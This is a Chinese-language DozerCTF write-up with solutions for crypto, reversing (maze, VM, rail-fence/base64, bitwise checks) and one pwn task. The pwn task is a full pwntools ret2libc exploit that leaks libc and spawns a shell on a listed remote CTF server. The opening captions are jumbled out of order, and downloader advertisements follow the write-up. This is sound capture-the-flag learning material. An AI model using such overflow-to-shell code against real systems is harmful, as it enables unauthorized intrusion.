base64 + base32 + hex + base58 附件是exe文件,先查壳 脱壳后用运行发现闪退,用IDA打开查看 发现无法直接查看伪代码 查看伪代码 查看伪代码,可以看到这里就是走迷宫的部分 地图 这里要注意的地方是,IDA生成的伪代码出现了错误 我们可以先找出方向不变化的路径,然后利用脚本找出方向变化后的输入 一个qt4写的程序,运行一直出错,直接静态逆了 IDA里面查看字符串,发现类似base64编码过的的字符串,下面又找到了修改过的base64 table 栅栏密码直接从网上找了一个 一个虚拟机,解释器看起来很复杂,但是查看opcode发现只使用了几个简单的功能 写了个简单的指令解释器 得到代码 要注意的地方是在input时,对输入进行了处理 附件是x86 mips框架,用Ghidra打开 查看字符串时发现correct!和wrong!,找到引用的位置发现是main函数 查看伪代码得知,flag的格式和flag中的几个字母,flag长度为24 此时观察代码中某些地方,我们发现可以通过枚举来确定它们的值,程序的每一部分都可以枚举出几个字母,但要确定先后关系,最后将他们拼起来就可以得到flag Ghidra生成的伪代码很规范,改动一小部分就可以正常跑起来 部分枚举脚本
CRYPTO
真·签到
Dozerctf{base_family_is_so_good}
PWN
ret2 temp
from pwn import * from LibcSearcher import LibcSearcher remote_addr='118.31.11.216:36666' remote_addr=remote_addr.split(':') p=remote(remote_addr[0],int(remote_addr[1])) elf=ELF('./pwn') plt_write=elf.plt['write'] got_write=elf.got['write'] main_addr=0x804851F #get GOT of write p.recvline() shellcode='a'*(0x6c+4)+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4) p.sendline(shellcode) write_addr=p.recv(4) write_addr=write_addr.rjust(4,'x00') print('get write_addr:'+hex(u32(write_addr))) #get base_addr of libc libc=LibcSearcher('write',u32(write_addr)) base_addr=u32(write_addr)-libc.dump('write') print('get base_addr of libc:'+hex(base_addr)) #get shell p.recvline() sys_addr=libc.dump('system')+base_addr bin_addr=libc.dump('str_bin_sh')+base_addr shellcode='a'*(0x6c+4)+p32(sys_addr)+p32(0)+p32(bin_addr) p.sendline(shellcode) p.interactive()
RE
easy_maze
发现是upx壳,直接upx -d
找到main函数
将恶意抬栈的部分nop即可(上图灰色部分)
sub_4113C0函数通过遍历窗口名来检测调试器,方便后面调试,将其nop
整个程序的关键部分在sub_4111BD函数
观察伪代码发现每走一步都会调用一个函数,这些函数会对WASD数组进行变换,使下一步键盘的方向发生变化
x = 'SSSSDDDWWWDDSSSSSAAAASSDDDDSSSDDWWWWDDDSSSSD' # 方向不变化时的路径 x = x.lower() dire = ['W', 'A', 'S', 'D'] def hang_dec(): # 0 print(dire[0], end='') # print(dire) tmp = dire[0] dire[0] = dire[2] dire[2] = tmp def lie_dec(): # 1 print(dire[1], end='') # print(dire) tmp = dire[0] dire[0] = dire[1] dire[1] = dire[2] dire[2] = dire[3] dire[3] = tmp def hang_inc(): # 2 print(dire[2], end='') # print(dire) tmp = dire[3] dire[3] = dire[1] dire[1] = tmp tmp = dire[0] dire[0] = dire[2] dire[2] = tmp def lie_inc(): # 3 print(dire[3], end='') # print(dire) tmp = dire[3] dire[3] = dire[2] dire[2] = dire[1] dire[1] = dire[0] dire[0] = tmp for i in x: if i == 'w': hang_dec() elif i == 'a': lie_dec() elif i == 's': hang_inc() else: lie_inc() #SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSD
貌似有些不对
根据字符串找到了加密部分
分析得知先通过栅栏密码加密,然后使用修改过的base64进行编码#include <iostream> #include <cstdio> #include <cstring> #include <cmath> using namespace std; char flag[100] = {'D', 'r', '{', '_', '_', 'g', '_', '!', 'o', 'c', 'o', 'm', 'i', 'o', 'm', '}', 'z', 't', 'l', 'a', 's', 'o', 'a', 'e', 'f', 'd', 'n', '_', 'd', 'n'}; void func(int a)//offset { char map[100][100] = {0}; int num = strlen(flag) / a; int num1 = strlen(flag) % a; int p = (num1 != 0) ? 1 : 0; num += p; int k = 0; int tag = 0; p = 0; if (num1 != 0) { for (int i = 0; i < num1; i++) { for (int j = 0; j < num; j++) { if (p >= strlen(flag)) { tag = 1; break; } map[j][i] = flag[p]; p++; } if (tag == 1) break; } for (int i = num1; i < a; i++) { for (int j = 0; j < num - 1; j++) { if (p >= strlen(flag)) { tag = 1; break; } map[j][i] = flag[p]; p++; } if (tag == 1) break; } } else { for (int i = 0; i < a; i++) { for (int j = 0; j < num; j++) { if (p >= strlen(flag)) { tag = 1; break; } map[j][i] = flag[p]; p++; } if (tag == 1) break; } } char str1[1024] = {0}; p = 0; for (int i = 0; i < num; i++) { for (int j = 0; j < a; j++) { if (map[i][j] == 0) { continue; } str1[p++] = map[i][j]; } } for (int i = 0; i < 1024; i++) printf("%c", str1[i]); } int main() { func(4); return 0; } //Dozerctf{old_man_is_good_man!}
dozer_vm_plus
code=[0x0000C362,0x00009C40,0x00000000,0x0000C362 ,0x00009C41,......,0x00000000] eip=0 while True: if code[eip]==0xC362: print('reg%d=stack[%d]'%(code[eip+1]-0x9c40+1,code[eip+2])) eip+=3 continue elif code[eip]==0xC356: print('xor reg%d , reg%d'%(code[eip+1]-0x9c40+1,code[eip+2]-0x9c40+1)) eip+=3 continue elif code[eip]==0xC363: print('check flag') eip+=1 else: break
push 80 push 123 push 102 ..... push 101 push 45 push 105 reg1=0x40 reg2=0x1e input reg1=stack[0] reg2=stack[64] xor reg1 , reg2 check flag reg1=stack[1] reg2=stack[65] xor reg1 , reg2 check flag reg1=stack[2] reg2=stack[66] xor reg1 , reg2 check flag reg1=stack[3] reg2=stack[67] xor reg1 , reg2 check flag .... reg1=stack[26] reg2=stack[90] xor reg1 , reg2 check flag reg1=stack[27] reg2=stack[91] xor reg1 , reg2 check flag reg1=stack[28] reg2=stack[92] xor reg1 , reg2 check flag reg1=stack[29] reg2=stack[93] xor reg1 , reg2 check flag
DozerCtf{Dozer_VM_is_so_easy!}
easy_num
几个库函数的特征比较明显,直接猜即可flag[0]=D ... flag[7]=f flag[8]={ flag[10]=u flag[12]=_ flag[13]=i flag[14]=s flag[15]=_ #flag[16]=s flag[17]=o flag[18]=_ flag[19]=g flag[20]=o flag[21]=o flag[22]=d flag[23]=} //Dozerctf{num_is_so_good}
#include <cstdio> #include <iostream> using namespace std; unsigned int func(unsigned int a, unsigned int b) { unsigned int a1; unsigned int a2; unsigned int a3; a3 = ~(a & b) & (a | b); a3 = a3 | a3 >> 1; a3 = a3 | a3 >> 2; a3 = a3 | a3 >> 4; a3 = a3 | a3 >> 8; a3 = a3 | a3 >> 0x10; a2 = ~(a3 & a3 >> 1) & (a3 | a3 >> 1) & a; a2 = a2 | a2 >> 1; a3 = a3 & 1 | (a3 & 1) << 1; a2 = a2 | a2 >> 2; a2 = a2 | a2 >> 4; a3 = a3 | a3 << 2; a2 = a2 | a2 >> 8; a2 = a2 | a2 >> 0x10; a3 = a3 | a3 << 4; a1 = a2 | a2 << 1; a1 = a1 | a1 << 2; a3 = a3 | a3 << 8; a1 = a1 | a1 << 4; a1 = a1 | a1 << 8; return (a2 & 1 | ~(a1 | a1 << 0x10)) & (a3 | a3 << 0x10); } int check(int a, int b) { unsigned int a3, a2, a5, a4; a3 = 1; a2 = a; a5 = ~b; do { a4 = a3 & a5; a5 = a3 | a5; a3 = a4 << 1; a5 = ~a4 & a5; } while (a3 != 0); while (a5 != 0) { a3 = a2 & a5; a2 = a2 | a5; a5 = a3 << 1; a2 = ~a3 & a2; } if (a2 != 0xffffffff) return 0; return 1; } int main() { for (int i = 0x20; i <= 0x80; i++) for (int j = 0x20; j <= 0x80; j++) if (check(i, j)) { char flag[10] = {'{', 'x', 'u', 'x', '_', 'i', 's', '_'}; flag[1] = i; flag[3] = j; unsigned int uVar2, uVar5, uVar3; uVar2 = 0; char i = 0; do { uVar5 = flag[i]; while (uVar5 != 0) { uVar3 = uVar2 & uVar5; uVar2 = uVar2 | uVar5; uVar5 = uVar3 << 1; uVar2 = ~uVar3 & uVar2; } i++; uVar5 = 0; } while (i != 8); if (uVar2 == 869) { cout << flag << endl; } } // char *flag="so_good}"; // unsigned int uVar2,uVar5,uVar3; // uVar2 = 0; // char i = 0; // do { // uVar5 = flag[i]; // while (uVar5 != 0) { // uVar3 = uVar2 & uVar5; // uVar2 = uVar2 | uVar5; // uVar5 = uVar3 << 1; // uVar2 = ~uVar3 & uVar2; // } // i++; // uVar5 = 0; // } while (i != 8); // // cout<<uVar2; // // //3332+x-0x13cc=871 return 0; }
本网页所有视频内容由 imoviebox边看边下-网页视频下载, iurlBox网页地址收藏管理器 下载并得到。
ImovieBox网页视频下载器 下载地址: ImovieBox网页视频下载器-最新版本下载
本文章由: imapbox邮箱云存储,邮箱网盘,ImageBox 图片批量下载器,网页图片批量下载专家,网页图片批量下载器,获取到文章图片,imoviebox网页视频批量下载器,下载视频内容,为您提供.
阅读和此文章类似的: 全球云计算